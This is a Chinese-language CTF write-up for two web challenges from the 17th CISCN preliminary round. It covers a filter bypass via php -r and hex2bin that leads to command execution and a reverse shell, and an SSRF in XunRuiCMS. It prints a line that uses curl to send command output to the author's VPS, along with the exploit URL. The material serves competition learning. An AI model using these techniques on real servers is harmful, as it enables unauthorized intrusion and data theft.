第十七届全国大学生信息安全竞赛创新实践能力赛初赛WEB
前言
最近参加了第十七届全国大学生信息安全竞赛 CISCN 的初赛,身为 web 手的我,做出来两道 web 题目,最终队伍也成功进入半决赛。
感觉题目还是很有含金量的,故而进行记录。
其中 easycms 这个题目考了两次,第一天的没做出来,第二天又考了一次,说是加固了安全漏洞。
Simple_PHP
源码如下:
1 |
|
通过对源码的审计发现,过滤了很多内容,尤其是单引号和双引号以及base64等,基本上没有办法进行绕过。
接着又存在 escapeshellcmd
函数,通过查阅PHP文档发现该函数的作用如下:
那么由于过滤了 flag 关键字,我们无法使用通配符(*
、?
、[]
)等,故而也是服务读取的。
最终转变思路,尝试运行 python3 --version
,发现题目并没有安装python(本来想着通过python的编码功能去绕过执行系统命令,但是没有安装)。
1 | python --version |
那么由于是 php 题目,肯定是安装了 php 的,故而我们执行 php -v
查看是否安装:
python 程序可以通过 python filename.py
执行一个 python文件,而 php 程序也可以通过 php filename.php
进行执行。
同样的 python -c
参数支持直接在命令行执行 python 代码如:
那么 php 程序有没有办法在终端执行 PHP 代码呢?答案是有的,可以通过 -r
参数在终端中直接执行 PHP 代码。
那么我们这里直接执行 phpinfo();
当我们传入 php -r phpinfo();
那么经过PHP的 escapeshellcmd
转义之后就变成了 php -r phpinfo\(\)\;
那么实际上经过system函数在shell中转义之后就变成了 php -r phpinfo();
最终执行了 phpinfo 函数。
但是由于过滤了 base64
关键字,故而无法通过 base64_decode()
函数对过滤的关键字进行编码,从而使用该函数进行解码,达到一个绕过的效果。
虽然没有过滤 url_decode()
函数,但是 url 编码中的 %
特殊字符,会造成报错,同时也过滤了 .
,故而也不能使用拼接,综上所述,发现只有十六进制转字符串使用的 hex2bin()
没有进行过滤。
使用 bin2hex
函数对 whoami
进行十六进制编码:
然后使用 hex2bin()
函数对十六进制转为相应的字符串:
但是由于不能使用单引号和双引号,故而这里会报错,那么我们就使用 substr()
进行字符串截取。
我们在十六进制前加上字符a或者下划线,虽然会报错,但是不影响解析:
那么我们在外面套入 system
即可成功执行命令 whoami
成功执行:
找半天没找到flag文件,这里查看权限,发现没有写入权限,这里先尝试反弹shell:
成功反弹shell:
无意间执行了mysql发现安装,那么ctf环境肯定不会装没用的软件
没办法交互,只能-e执行了,没想到这里猜密码竟然正确了,发现了第三方数据库。
一步一步发现,最终得到了FLAG。
easycms_revenge
查看了网站,前台基本上都是静态的,使用 dirsearch 工具对网站进行目录扫描:
发现了 flag.php 和 readme.txt 文件,查看 flag.php,不是很理解这个意思。后面放出提示后有了思路。
提示如下:
从源码不难看出,flag.php 是存在命令执行漏洞的,只不过需要服务器本机访问传参才可以执行。
那么这里要么去 getshell 要么则是通过 ssrf 漏洞进行访问传参。
提示2,则是去 github 找一下源码,这个提示在第一天就放出来了,但是第一天没做出来,原因我觉得很大可能都是这个提示2,让去 github 寻找一下源码。。。
当时在 github 项目的 Issues 中发现了 2月份提交的一个漏洞(严格来说不算漏洞,只能说是配置不当或特定版本的特性)。
具体地址如下: https://github.com/dayrui/xunruicms/issues/4
当时这个漏洞只有进后台才能利用,于是在这里饶了很大圈子。
当时在 README.txt 中发现了如下信息:
当时不知道 迅睿CMS 安装的时候后台是随机的,我以为是出题人故意留下的…,于是就尝试暴破。
而且 github 上面的源码跟这个源码还是有些出入的,故而在这里浪费了很长时间,最后在 README.txt
中下载了源码,这个才是正确的源码…
对于这种框架,首先我们就是要找到控制器,我们在 API 控制器下发现了 qrcode
方法的 $thumb
参数是接收一个 URL地址,经过执行之后,带入到 getimagesize
函数作为其参数。
而 getimagesize
函数的值如果是一个 URL 地址,则会尝试请求该URL,由于这里没有判断url地址文件必须是.jpg,.png图片类型,故而我们这里也可以传入一个php的url地址,那么也就是说,我们只需要在 VPS 上新建一个PHP文件,功能重定向到:
http://127.0.0.1/?cmd=curl http://vps:port/\`whoami\`
那么就会将命令执行结果带入到 VPS 的端口上。
VPS上的 x.php
代码如下:
1 |
|
当服务器来访问这个图片(x.php)的时候,会自动跳转到他自己的flag.php文件,并通过get请求发送cmd参数,执行whoami命令,将命令执行结果带入到vps:
根据路由和控制器,构造如下URL:
1 | /?s=api&c=api&m=qrcode&text=1111&thumb=http://x.x.x.x/x.php |
使用 PHP 启动 80服务:
访问执行,来看日志:
发现当前用户为 www-data
。
继续构造如下代码:
1 |
|
使用 base64 解码得到,但是没有权限直接读取 FLAG 文件
执行根目录下的 /readflag
程序即可(但是不知道为什么上面为什么没有readflag程序,wp是后来写的)。
最终得到FLAG。
1 | flag{b807d87b-558a-4826-9bdb-a1c57f6bda01} |